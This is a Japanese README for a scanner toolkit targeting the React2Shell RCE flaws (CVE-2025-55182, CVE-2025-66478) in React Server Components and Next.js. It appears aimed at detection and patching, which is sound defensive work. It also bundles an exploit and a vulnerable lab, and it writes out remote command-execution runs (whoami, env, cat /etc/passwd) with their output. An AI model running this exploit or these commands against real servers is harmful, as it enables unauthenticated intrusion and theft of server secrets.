CVE-2025-55182(React)およびCVE-2025-66478(Next.js)のスキャナー - react-server-dom-webpack、react-server-dom-parcel、react-server-dom-turbopack、およびNext.jsのようなRSC対応フレームワークに影響を与える重大なReact Server Components(RSC)/ Flightプロトコルの脆弱性キャンペーンを追跡・修正します。
React2Shell バグクラスに関する 外部脆弱性: React Server Components (RSC) の "Flight" プロトコルにおいて、新たに公開された 認証不要のリモートコード実行脆弱性 が2件あります—CVE-2025-55182 (React) および CVE-2025-66478 (Next.js)、いずれも CVSS 10.0 と評価されています。これらの問題は、RSC/Server Function エンドポイントが攻撃者制御の Flight ペイロードをデコードする方法に起因し、単一の細工された HTTP リクエストをサーバーサイドコード実行に変える可能性があります—App Router と本番ビルドを使用する「デフォルト」の最新 React/Next.js スタックでも発生します。多くのチームにとって、これは「今すぐパッチを当て、露出を確認し、その後監査する」べき瞬間であり、後日の依存関係管理スプリントに先送りすべきではありません。
LAB フォルダには React2Shell 向けのエクスプロイトとラボの脆弱性が含まれています。
このプロジェクトは 二段階アプローチ を提供します: (1) ソフトウェア構成・依存関係リスクスキャニング (本ツール) により、脆弱なライブラリとバージョンを迅速に特定し、(2) Web DAST スキャナー (React2Shell Web Scanner) により、外部から RSC/Flight エンドポイントを能動的にプローブし、実行環境で悪用可能なパスが到達可能か検証します。これらを組み合わせることで、「脆弱なコンポーネントはどこにあるか?」 と 「本番環境で実際に悪用される可能性があるのはどこか?」 の両方に答え、自信を持ってパッチ適用、堅牢化、インシデント対応の優先順位を付けられます。
ライブエンドポイントテスト と RCE 検証 については、専用の Web スキャナーを参照:
📁 web-scan_CVE-2025-66478/ - 完全なドキュメントとガイド
cd web-scan_CVE-2025-66478
# Install dependencies
pip install -r requirements.txt
# Scan a single target
python3 react2shell-scanner -u https://target.com -v
# Scan with evidence display
python3 react2shell-scanner -u https://target.com --show-evidence
# Batch scan with all export formats
python3 react2shell-scanner -l targets.txt -o results.json --csv results.csv --html report.html
# Test the exploit on vulnerable target (requires Python 3.11+)
python3.11 test-lab/exploit.py -u http://vulnerable-host:3000 -c "hostname"
| 機能 | 説明 |
|---|---|
| 🔍 RCE 検出 | 算術ベースの安全な検出(副作用なし) |
| 🎯 テクノロジーフィンガープリンティング | Next.js/React アプリケーションの自動検出 |
| 📊 マルチフォーマットエクスポート | JSON、CSV、HTML レポート |
| 🔗 IOC 相関 | 31 以上の既知の悪意ある IP との照合 |
| 🌐 スケールスキャン | CIDR レンジ、サブドメイン列挙 |
| ☁️ Phoenix 統合 | 発見結果を Phoenix Security にアップロード |
| 💻 エクスプロイトツール | 脆弱なターゲット上でコマンドを実行 |
cd web-scan_CVE-2025-66478/test-lab/lab
# Start vulnerable (3011) and patched (3012) instances
docker-compose up -d
# Test vulnerable instance
python3 react2shell-scanner -u http://localhost:3011 --show-evidence
cd web-scan_CVE-2025-66478/test-lab
# Install exploit dependencies
pip3.11 install -r requirements.txt
# Basic command execution
python3.11 exploit.py -u http://localhost:3011 -c "whoami"
# Output: nextjs
python3.11 exploit.py -u http://localhost:3011 -c "id"
# Output: uid=1001(nextjs) gid=65533(nogroup)
python3.11 exploit.py -u http://localhost:3011 -c "hostname"
# Output: 99e28775bf80 (container ID)
# System enumeration
python3.11 exploit.py -u http://localhost:3011 -c "uname -a"
python3.11 exploit.py -u http://localhost:3011 -c "cat /etc/passwd"
python3.11 exploit.py -u http://localhost:3011 -c "env"
# Application recon
python3.11 exploit.py -u http://localhost:3011 -c "pwd" # /app
python3.11 exploit.py -u http://localhost:3011 -c "ls -la"
python3.11 exploit.py -u http://localhost:3011 -c "cat package.json"
python3.11 exploit.py -u http://localhost:3011 -c "node --version"
React2Shell は、React Server Components (RSC) の Flight プロトコルにおけるペイロード処理に対する、認証不要のリモートコード実行プリミティブです。実際には、悪意のあるクライアントが単一の細工された HTTP リクエストを RSC/Server Function エンドポイントに送信し、脆弱なバージョンが動作している場合、「Web アプリ」を「サーバーシェル」に変える可能性があります。
概要:
これは 認証不要の RCE であるため、デフォルトの本番セットアップが対象範囲に含まれます。明示的に "サーバー関数" を記述したことがなく、最新の React/Next.js パターンを採用しただけの場合でも同様です。ホスティングレベルの軽減策や汎用 WAF を主要な安全策として扱うべきではありません。露出を減らすことはできても、脆弱なライブラリを確実に補償することはできません。これをインシデントとして扱ってください:
攻撃者が React2Shell を介して RCE を達成した場合、ディフェンダーは以下のよく知られたキルチェーンを想定すべきです:
.env ファイル、デプロイ用シークレット、CI トークン、サービス認証情報、署名キーを収集。DevSecOps パイプラインがこれまで Web 層を「単なるフロントエンド」として扱ってきた場合、この脆弱性は、RSC とストリーミングセマンティクスが関与する場合、フロントエンドフレームワークが深刻なサーバーサイドの爆発半径を持つ可能性がある という具体的な実証となります。Universal Vulnerability Scanner は、「脆弱なパッケージをどこかで実行していないか?」を迅速に回答し、その回答を Phoenix 主導のキャンペーンや、まもなく提供される Web DAST 検証 によるライブ RSC エンドポイントの補完的な検証にフィードするために存在します。
# Install dependencies
pip install -r requirements.txt
# Run from project root
python -m universal_vulnerability_scanner.main --help
# Basic scan
python -m universal_vulnerability_scanner.main scan /path/to/project
# With JSON output
python -m universal_vulnerability_scanner.main scan /path/to/project --json --output results.json
# Quiet mode (only show summary)
python -m universal_vulnerability_scanner.main scan /path/to/project --quiet
# Create Phoenix configuration template
python -m universal_vulnerability_scanner.main create-config
# Edit .phoenix.config with your credentials
# Then scan and upload
python -m universal_vulnerability_scanner.main scan /path/to/project --upload-phoenix
# Test with included vulnerable samples
python -m universal_vulnerability_scanner.main test
スキャナーは JSON ベースの脆弱性データベースを使用します。場所:
universal_vulnerability_scanner/data/vulnerability_database.json